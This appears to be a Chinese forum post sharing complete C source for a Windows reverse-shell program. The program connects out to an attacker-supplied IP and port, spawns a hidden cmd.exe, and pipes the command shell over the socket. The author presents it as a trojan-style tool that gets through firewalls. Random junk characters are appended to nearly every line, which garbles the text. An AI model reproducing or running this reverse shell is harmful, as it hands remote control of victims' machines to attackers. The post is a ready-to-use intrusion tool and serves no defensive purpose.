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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &!HG.7AY  
W2M[w_~QE  
/* ============================== %kgT=<E'  
Rebound port in Windows NT %e|UA-(  
By wind,2006/7 m#RMd,'X  
===============================*/ +OtD@lD`!  
#include ((^v sKT  
#include `A o"fRv#  
+$/NTUOP  
#pragma comment(lib,"wsock32.lib") #yEkd2Vy{  
vu*9(t)EC  
void OutputShell(); ?MFXZ/3(ba  
SOCKET sClient; Q7/Jyx|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bBGg4{  
lEb H4 g  
void main(int argc,char **argv) $~?)E;S  
{ ^v:XON<  
WSADATA stWsaData; Ay%]l| Gm  
int nRet; nB5^  
SOCKADDR_IN stSaiClient,stSaiServer; g9d/nR X&  
D}-HWJQA3  
if(argc != 3) bQI.Qk  
{ !d[]Qt%mA  
printf("Useage:\n\rRebound DestIP DestPort\n"); rhGB l`(B  
return; t^%)d7$  
} 54RexB o  
u^x<xw6f  
WSAStartup(MAKEWORD(2,2),&stWsaData); Qp2~ `hD  
m"AyO"}I5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =CCddLO  
mJH4M9WJ]  
stSaiClient.sin_family = AF_INET; [[]NnWJ  
stSaiClient.sin_port = htons(0); + EKp*Vje  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6{fo.M?  
z(>:LX"xz  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <7/7+_y  
{ .t{uzDM  
printf("Bind Socket Failed!\n"); N%u4uLP5k  
return; t$R0UprK  
} GSH,;cY  
BA T.>  
stSaiServer.sin_family = AF_INET; l}#d^S/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JxM32?Rm*w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `/WOP`'zM  
2+R]q35-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $:onKxVM  
{ *GdJ<B$  
printf("Connect Error!"); %0 U@k!lP  
return; 3jto$_3'w  
} FR]uCH  
OutputShell(); <Oy2 JjY  
} aghlYcPg  
4=& d{.E  
void OutputShell() <\d2)Iv  
{ xr!A>q+@i  
char szBuff[1024]; ~i>'3j0@k  
SECURITY_ATTRIBUTES stSecurityAttributes; |]-~yYqP3  
OSVERSIONINFO stOsversionInfo; V warU(*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VjZb\ d4  
STARTUPINFO stStartupInfo; &rc r>-  
char *szShell; uF)^mT0D=  
PROCESS_INFORMATION stProcessInformation; ``kesz  
unsigned long lBytesRead; cwQ *P$n  
Dr}elR>~G=  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SLvo)`Nc3-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8%MF <   
stSecurityAttributes.lpSecurityDescriptor = 0; N;=J)b|9  
stSecurityAttributes.bInheritHandle = TRUE; t!>0^['g4  
8Kn}o@Yd  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /~?[70B}E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yV&]i-ey  
(;HO3Z".q$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )k `+9}OO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V {}TG]  
stStartupInfo.wShowWindow = SW_HIDE; F0kQ/x  
stStartupInfo.hStdInput = hReadPipe; gDX\ p>7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >9<rc[  
XqcNFSo)  
GetVersionEx(&stOsversionInfo); Jr>Nc}!U  
^{E_fQJX  
switch(stOsversionInfo.dwPlatformId) f uH3C~u7<  
{ nGTqW/k[+s  
case 1: Fg2/rC:_  
szShell = "command.com"; cn9=wm\\  
break; E6-~  
default: |I.5]r-EK  
szShell = "cmd.exe"; GB6(WAmr  
break; +>% AG&Pc  
} 'sk M$jr  
;b_<5S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z_T~2t  
^vOEG;TR<-  
send(sClient,szMsg,77,0); 5?E;Yy A  
while(1) ZCfd<NS?  
{ %r:4'$E7|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KkR.p,/  
if(lBytesRead) Lk-h AN{[  
{ }F3}"Ik'L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +]Z *_?j9{  
send(sClient,szBuff,lBytesRead,0); t Q>/1  
} ;;EFiaA  
else owO &[D/  
{ Jf@Xz7{z  
lBytesRead=recv(sClient,szBuff,1024,0); |%(qaPA1  
if(lBytesRead<=0) break; !~-@sq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jp~[Dm  
} DuC_uNJ  
} ~UsE"5  
,JJ1sf2A  
return; 3b<;y%  
}
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